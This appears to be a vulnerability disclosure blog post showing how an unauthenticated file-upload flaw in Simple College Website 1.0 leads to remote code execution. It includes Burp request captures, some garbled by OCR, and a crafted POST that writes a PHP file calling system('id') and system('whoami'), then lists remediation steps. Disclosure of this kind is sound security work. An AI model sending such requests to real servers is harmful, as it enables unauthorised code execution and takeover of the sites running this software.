



Simple College Website 1.0 — Unauthenticated Arbitrary File Upload RCE

Simple College Website 1.0 was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution.

Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html

Source Code:

https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip











Photo by Florian Olivo on Unsplash

Root cause Analysis and Hacking

Let's explore the source code and find the cause for the Vulnerability.



filename or malicious content.

Therefore, it is possible to create any file with any content using this function. For example, php webshell.

Now, let's find out the uri which calls this function.

```
💏 manage_page.php 🔀
admin > 💏 manage_page.php
109
           })
110
           $('#manage-page').submit(function(e){
111
               e.preventDefault()
112
               start_load()
               $('#msg').html('')
113
114
               $.ajax({
115
                    url:'ajax.php?action=save_page',
                    data: new FormData($(this)[0]),
116
117
                    cache: false,
118
                    contentType: false,
119
                    processData: false,
                    method: 'POST',
120
121
                    type: 'POST',
122
                    success:function(resp){
                        if(resp==1){
123
124
                            alert_toast("Page content successfully saved.",'success')
                                setTimeout(function(){
125
                                    location.reload()
126
127
                                },1000)
128
129
130
               })
131
132
```

manage_page.php

The function save_page can be called from the manage_page.php on UI.

Using the Burp to see the request and response,







```
d perver: Apachey2.4.41 \text{Trouncus}
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, nust-revalidate
                                   gent: Mozicte/5.0 (Mil) Obuntu; Linux Xeo_64; TV:103.0/ Geck0/20100101
          Firefox/103.0
 4 Accept: "/"
5 Accept-Language: en-US,en;q=0.5
 6 Accept-Encoding: gzip, deflate
7 X-Requested-With: XMLHttpRequest
                                                                                                                                                                                                                                                                                                                                                                                      7 Content-Length: 1
                                                                                                                                                                                                                                                                                                                                                                                     8 Connection: close
  8 Content-Type: multipart/form-date;
                                                                                                                                                                                                                                                                                                                                                                                     9 Content-Type: text/html; charset-UTF-B
         boundary=
                                                                                                                                                    ---54990440744982894610035452
 9 Content-Length: 6004
10 Crigin: http://20.169.68.2
11 Connection: close
  2 Referer:
         http://20.169.68.2/college_website/admin/index.php?page=manage_page&edit=about
 13 Cookie: P-PSESSID-cpGi2vdos479bhhue4tllho14s
                                                                                                                           --54390440744882894610035452
16 Content Disposition: form data: name='filename'
intd. tuode 01
                                                                                                              ---- 54390440744882894610035452
 23 Content Disposition: form data; name="page_content"
Mission
//span>/span>/span>/span>/span>/span>/span>/span>/p>/div class="fr-ing-space-wrap">/span>/span>/span>/span>/span>/p>/div class="fr-ing-space-wrap">/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/span>/
      36px;">sstrong-drew/strong-x/span>x/ps-div class="fr-ing-space-wrap">xp
style= margin: Opx Opx 15px; padding: Opx; text-align: justify; color: rg0(0, 0, 0);
font-family: "Open Sens", Ariel, sans-serif; font-size: 14px; font-style: normal;
font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 4BO;
Letter-spacing: normal; orphans: 2; text-indext: Opx; text-transform: none;
white-space: normal; widows: 2; word-spacing: Opx; -webkit-text-stroke-width: Opx;
background-color: rg0(285, 285, 285); text-decoration-style: initial;
text-decoration-color: initial; >>span style="font-size: 18px;">xstrong>loren: psum
dolor sit aret, consectatur adipiscing elit. Nam vel sodales erat. Sed non lacus
nist. Sed imperdiet, elit ullancoruse pharetra webicula, esst neque fecilisis quam,
dictum congue ligula lacus sit amet sapien. Donet quis bibendum mauris. Donec
laorest elit nec erim dignissim, vel tempor arcu tincidunt. Aliquam laorest, runc et
feugiat rutrum, urns leo iaculis ligula, eu tincidunt ex nisl vel turpis. Vivamus
```

Burp Req/Res

1 in the output represents the success of the operation.

Let's change the filename and page_content in the request to create a php file:)

```
Request
                                                                                         Response
                                                                             S In ≡
                                                                                         Pretty
 Pretty
         Raw
                                                                                                 Raw
                                                                                                        Hex
                                                                                                              Render
                                                                                         1 HTTP/1.1 200 0K
 1 POST /college_website/admin/ajax.php?action=save_page HTTP/1.1
 2 Host: 20.169.68.2
                                                                                         2 Date: Sun, 04 Sep 2022 17:16:38 GMT
 3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x85_64; rv:103.0) Gecko/20100101
                                                                                         3 Server: Apache/2.4.41 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Firefox/103.0
 4 Accept: */*
                                                                                         5 Cache-Control: no-store, no-cache, must-revalidat
 5 Accept-Language: en-US,en;q=0.5
                                                                                         6 Pragma: no-cache
 6 Accept-Encoding: gzip, deflate
                                                                                         7 Content-Length: 1
 7 X-Requested-With: XMLHttpRequest
                                                                                         8 Connection: close
 8 Content-Type: multipart/form-data;
                                                                                         9 Content-Type: text/html; charset=UTF-8
  boundary=-----54390440744882894610035452
                                                                                        11 1
 9 Content-Length: 357
10 Origin: http://20.169.68.2
11 Connection: close
  http://20.169.68.2/college_website/admin/index.php?page=manage_page&edit=about
13 Cookie: PHPSESSID=qp9i2vdbs479bhhue4tllho14o
15 ......54390440744882894610035452
16 Content-Disposition: form-data; name="filename"
18 proof.php
            ......54390440744882894610035452
20 Content-Disposition: form-data; name="page content"
22 <?php
23 echo system("id");
24 echo "\n";
25 echo system("whoami");
         ·····54390440744882894610035452··
```







This proves that the RCE is successful.

Another Important observation is that, it is possible to create arbitrary file without authenticating to the admin portal as the code is not checking for it.

session is set to null

Hence, it will be an unauthenticated arbitrary file creation vulnerability.

PoC

 $Github\ link: \underline{https://gist.github.com/gowthamaraj/454df3356b1c7ffe2a3eec21e58ba540}$









Exploit

Remediation

- 1. Authentication of requests made by the user.
- 2. Checking for filename when creating it.
- 3. Input sanitisation and validation.









About Help Terms Privacy

Get the Medium app



